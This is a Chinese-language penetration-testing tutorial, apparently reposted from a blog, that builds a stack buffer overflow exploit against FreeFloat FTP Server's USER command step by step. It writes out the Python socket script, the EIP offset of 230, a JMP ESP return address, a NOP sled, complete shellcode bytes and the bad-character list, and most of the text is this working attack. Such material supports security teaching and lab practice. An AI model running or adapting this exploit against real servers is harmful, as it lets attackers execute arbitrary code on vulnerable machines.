Python程序设计-安全渗透测试-漏洞渗透模块

测试软件的溢出漏洞

  • FreeFloat FTP Server会在运行的主机上建立一个FTP,其他计算机上的用户可以登录到这个FTP上来存取文件
  • 例如,在主机192.168.0.116的C盘中运行这个FTP软件,在另外一台计算机中可以使用FTP下载工具或者命令的方式进行访问。这里采用命令的方式对其进行访问,(使用 FreeFloat FTP Server这个服务器对登录没有任何的限制,输入任意的用户名和密码都可以登录进去)
    Python程序设计-安全渗透测试-漏洞渗透模块_第1张图片
    Python程序设计-安全渗透测试-漏洞渗透模块_第2张图片
  • 现在来看看这个工具是否存在 栈溢出漏洞。
  • 现在输入用户名的时候,尝试使用一个特别长的字符串作为用户名,来看看在用户名输入的位置是否存在溢出的漏洞,例如输入数百个“a”
    Python程序设计-安全渗透测试-漏洞渗透模块_第3张图片
  • 但是系统并没有崩溃,而是正常地出现了输入密码的界面!
  • 不要放弃,再尝试输入更多的“a”作为用户名
    Python程序设计-安全渗透测试-漏洞渗透模块_第4张图片
  • 目标系统仍然正常出现了输入密码的界面
  • 可见系统没有崩溃。那么是不是这个软件并没有存在溢出的问题呢?
  • 打开WireShark来捕获此次登录的数据包来看一下
    Python程序设计-安全渗透测试-漏洞渗透模块_第5张图片
  • 可以发现,实际上发送出去数据包中的字符“a”的数量并没有那么多
  • 无论在登录用户名时输入多么长的用户名,而实际上发送出去的只有78个“a”。
  • 显然这个长度的字符是无法引起溢出的,那么有什么办法可以加大字符串的数量呢?
  • 最直接的方法就是自行构造数据包,然后将数据包发送出去。
  • 首先编写一个可以自动连接到FreeFloat FTP Server的客户端脚本,先来建立一个到FreeFloat FTP Server的连接。
  • 导入需要使用的socket库import socket
  • 创建一个socket套接字:s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  • 利用这个套接字就可以建立到目标的连接:connect=s.connect(('192.168.0.116',21))
    在这里插入图片描述
  • 执行之后,就建立好一个到目标主机21端口的连接,但是到FTP的连接需要认证,仍然需要向目标服务器提供一个用户名和一个密码。
  • 服务器通常会对用户名和密码的正确性进行验证,也就是将用户的输入与自己保存的记录进行比对。
  • 把FreeFloat FTP Server 用户名的输入作为渗透测试的切入点,首先来检查这个软件是否存在栈溢出的现象,这个检查很简单,在输入用户名的时候,输入成百上千的字符,同时观察目标服务器的反应。
  • 首先观察一下正常连接到目标服务器上数据包的格式。
    Python程序设计-安全渗透测试-漏洞渗透模块_第6张图片
  • 图中输入的用户名是一段字符,这段字符前面是“USER”,后面是一个回车符和换行符“\r\n”。
  • 使用socket套接字中的send()方法可以将一个字符串以数据包的形式发送出去,这里面以成百上千的“A”作为用户名。
s.send('USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n')
  • 将这个数据包发送到目标FTP服务器上,可以看到这个FTP服务器工具崩溃了
    Python程序设计-安全渗透测试-漏洞渗透模块_第7张图片

计算机软件偏移地址

  • 这里显示软件FreeFloat FTP Server执行到地址“41414141”处时就无法再继续进行。
  • 出现这种情况的原因是 原本保存下一条地址的EIP寄存器中的地址被溢出的字符“A”所覆盖。
  • “\x41”在ASCII表中表示的正是字符“A”,也就是说现在EIP寄存器中的内容就是“AAAA”,而操作系统无法在这个地址找到一条可以执行的命令,从而引发系统的崩溃。
    Python程序设计-安全渗透测试-漏洞渗透模块_第8张图片
  • 每一次这个软件执行时所分配的地址都是不同的。
  • 所以现在需要知道的不是EIP的绝对地址,而是EIP相对输入数据起始位置的相对位移。
  • 如果这个位移的值不大,可以用逐步尝试的方法获取这个值。但是如果位移比较大,还需要使用到一些工具来提高效率。
  • 可以借助 Metasploit 中内置的两个工具pattern_create和pattern_offset来完成这个任务
  • pattern_create可以用来创建一段没有重复字符的文本。
  • 将这段文本发送到目标服务器,当发生溢出时,记录下程序发生错误的地址(也就是EIP中的内容),这个地址其实就是文本中的4个字符。
  • 利用pattern_offset快速找到这4个字符在文本中的偏移量,而这个偏移量就是EIP寄存器的地址。
  • 首先启动Kali虚拟机,打开一个终端,然后切换到Metasploit的目录:
root@kali:cd /usr/share/metasploit-framework/tools/exploit
  • 然后在这个目录中执行工具pattern_create.rb,这是一个由Ruby语言编写的脚本。了解这个工具的使用方法,可以使用参数-h来显示所有可以使用的参数及其用法。
    Python程序设计-安全渗透测试-漏洞渗透模块_第9张图片
  • 生成一段500个字符的文本,如图所示。
    Python程序设计-安全渗透测试-漏洞渗透模块_第10张图片
  • 然后使用这个pattern_create.rb产生的字符来代替那些“A”。仍然使用前面那段连接目标服务器的Python脚本将这个内容发送出去。
    Python程序设计-安全渗透测试-漏洞渗透模块_第11张图片
root@karl:~/桌面# python test.py 

Python程序设计-安全渗透测试-漏洞渗透模块_第12张图片

  • 可以看到这个FreeFloat FTP Server软件再次崩溃
    Python程序设计-安全渗透测试-漏洞渗透模块_第13张图片
    Python程序设计-安全渗透测试-漏洞渗透模块_第14张图片
  • 提示信息中的地址“37684136”,然后使用pattern_offset来查找这个值对应的偏移量。
  • 执行工具 pattern_offset.rb
  • 同样可以使用参数-h来查看参数帮助
    Python程序设计-安全渗透测试-漏洞渗透模块_第15张图片
  • 使用参数-q 加上溢出的地址值,
  • 使用-l来指定字符串的长度(就是之前 pattern_create.rb 所使用的参数,也就是500)
    在这里插入图片描述
  • 现在向目标发送能够导致系统溢出到EIP的数据,之前已经计算出EIP的偏移量是230,那么现在提供了230个字符“A”即可,之后就是4个“B”
    Python程序设计-安全渗透测试-漏洞渗透模块_第16张图片
  • 仍然重复之前的步骤,在虚拟机中打开FreeFloat FTP Server,然后执行上面的脚本,可以看到程序已经崩溃,如图所示。显示崩溃的地址是“42424242”,
  • 这说明EIP中的地址已经被更改为字符“B”,这验证了之前找到的偏移地址的正确性。
    Python程序设计-安全渗透测试-漏洞渗透模块_第17张图片

查找JMP ESP指令

  • 如何让目标服务器执行恶意的攻击载荷?想一个办法,让这个EIP中的地址指向攻击载荷
  • 先看一下输入的用户名数据在执行时是如何分布的:
    在这里插入图片描述
  • 按照栈的设计,ESP寄存器应该就位于EIP寄存器的后面(中间可能有一些空隙)。
  • 使用大量字符来溢出栈的时候,也可以使用特定字符来覆盖ESP,二来虽然无法对ESP寄存器进行定位,但是可以利用一条“JMP ESP”的跳转指令来实现跳转到当前ESP寄存器
    Python程序设计-安全渗透测试-漏洞渗透模块_第18张图片
  • 这里还需要使用到Immunity Debugger,但是这个工具本身并没有提供查找“JMP ESP”命令的功能
  • 需要借助Mona.py这个插件完成这个任务
  • Mona.py的使用方法也很简单,只需要将下载好的这个插件(mona.py)复制到Immunity Debugger安装目录下的PyCommands文件夹中就可以使用了。然后在Immunity Debugger的命令行中输入“!mona”命令
    Python程序设计-安全渗透测试-漏洞渗透模块_第19张图片
  • 在命令行中执行“!mona jmp -r esp”来查找“JMP ESP”命令,执行的结果
    Python程序设计-安全渗透测试-漏洞渗透模块_第20张图片
  • 这里面选择第一条指令来作为跳转指令,需要记录下地址“77DBF049”

编写渗透程序

  • 这里其实就是在使用Python编程向目标发送“JMP ESP”指令的地址时使用的是大端格式,而当前的地址“77DBF049”其实是小端格式,两者需要进行调整。
  • 如果希望使用“77DBF049”来覆盖目标地址,在使用Python编写渗透程序的时候就需要使用倒置的地址“/x49/xF0/xDB/x77”
  • 向目标发送能够导致系统溢出到EIP的数据,之前已经计算出EIP的偏移量是230,现在提供了230个字符“A”即可,之后就是“/x49/xF0/xDB/x77”
    Python程序设计-安全渗透测试-漏洞渗透模块_第21张图片
  • 重复之前的步骤,在虚拟机中打开FreeFloat FTP Server,然后执行上面的脚本
    Python程序设计-安全渗透测试-漏洞渗透模块_第22张图片
  • 现在只需要把希望在目标计算机上执行的代码添加进去即可。接下来编写一段可以在目标计算机上启动的计算器程序。
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
"\x7f\xe8\x7b\xca"
  • 这段脚本如果在目标计算机上执行,就会启动计算器程序。下面将这段脚本添加到原来程序的buff中,修改之后的程序就变成如下。
    Python程序设计-安全渗透测试-漏洞渗透模块_第23张图片
  • 执行这段脚本之后,目标系统的FreeFloat FTP Server崩溃了,但是却没有启动计算器程序
  • 启动Immunity Debugger来调试一下,可以看到这里之前的命令都执行成功了,但是ESP的地址向后发生了偏移,这样就导致了Shellcode的代码并没有全部载入到ESP中,
  • 最前面的一部分在ESP的外面,这样就会导致即使控制了程序,但是由于ESP中只有一部分Shellcode,因此执行的时候缺失了一部分,从而导致程序不能够正常执行。
  • 解决的方法就是一个特殊的指令“\x90”
  • \x90”其实就是NOPS,也就是空指令,这个指令不会执行任何的实际操作。
  • 但是它也是一条指令,因此会顺序地向下执行,这样即使并不知道ESP的真实地址,只需要多在EIP后面添加一些空指令,只要这些空指令够多,将Shellcode偏移进ESP,就可以顺利执行Shellcode。
  • 向程序中添加20个“\x90”
    Python程序设计-安全渗透测试-漏洞渗透模块_第24张图片
  • 现在执行一下这段脚本,目标系统弹出一个计算器程序。这说明编写的漏洞渗透程序已经成功。
    Python程序设计-安全渗透测试-漏洞渗透模块_第25张图片

坏字符的确定

  • FTP对用户名是有限制的,并非所有的字符都可以出现在用户名中。如果内容中包含这种不被允许的字符,就可能导致FTP服务器拒绝接收后面的内容,从而导致代码只传送了一部分
  • 但是每个程序,甚至每个程序的入口接收的规则都不一样,很难直接指出哪些是坏字符,但是可以使用逐个测试的方法找出这些字符。
  • 下面列出了所有可能的字符。
” \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f”
”\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f”
”\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f”
”\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f”
”\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
”\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
”\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
”\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

  • 之前编写的那个用来连接服务器的程序也可以写成如下格式:
    Python程序设计-安全渗透测试-漏洞渗透模块_第26张图片
  • 先启动Immunity Debugger,接下来将这个FreeFloat FTP Server的进程附加到Immunity Debugger中
  • 当运行这个程序的时候,FreeFloat FTP Server程序会崩溃,在Immunity Debugger中查看
  • 找到42424242所在的位置
    Python程序设计-安全渗透测试-漏洞渗透模块_第27张图片
  • “BBBB”现在所在的位置就是EIP指针的位置,它后面的位置就是要放置坏字符的位置。接下来修改上面的那段程序,在“BBBB”的后面添加所有的字符,修改后的程序如下所示。
    Python程序设计-安全渗透测试-漏洞渗透模块_第28张图片
  • 这段程序将会把所有的字符都发送到目标服务器中,但是坏字符串会 引起程序的终止
    Python程序设计-安全渗透测试-漏洞渗透模块_第29张图片
  • 在这里可以看到在“BBBB”后面的第一行的后面出现了“Password required”,这说明在“BBBB”后面的第一行里出现了导致目标软件认为用户名已经输入结束的字符了
  • 这一行,一共是4个字符“\x00\x01\x02\x03”,首先将这里面的“\x00”去掉,如果程序继续向下执行,那么说明这个字符是坏字符,还是这个程序,修改之后变为:
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
  • 执行这个程序,查看一下结果
    Python程序设计-安全渗透测试-漏洞渗透模块_第30张图片
  • 前面的8个字符没有问题了,在第三行用户名的输入再次被终止了,那么这说明现在的“\x01\x02\x03\x04\x05\x06\x07\x08\x09”已经没有问题了,出问题的一定是“\x0a\x0b\x0c\x0d”中的一个。
  • 再将这4个字符一个一个地去掉后看一下。首先去掉“\x0a”,然后执行这个程序,使用Immunity Debugger查看里面的变化,
    Python程序设计-安全渗透测试-漏洞渗透模块_第31张图片
  • 坏字符刚好是“\x0a”
  • 这个程序中的坏字符是“\x00”“\x0a”“\x40”,那么在编写Shellcode的时候,就需要避免这三个坏字符。

你可能感兴趣的:(Python程序设计-安全渗透测试-漏洞渗透模块)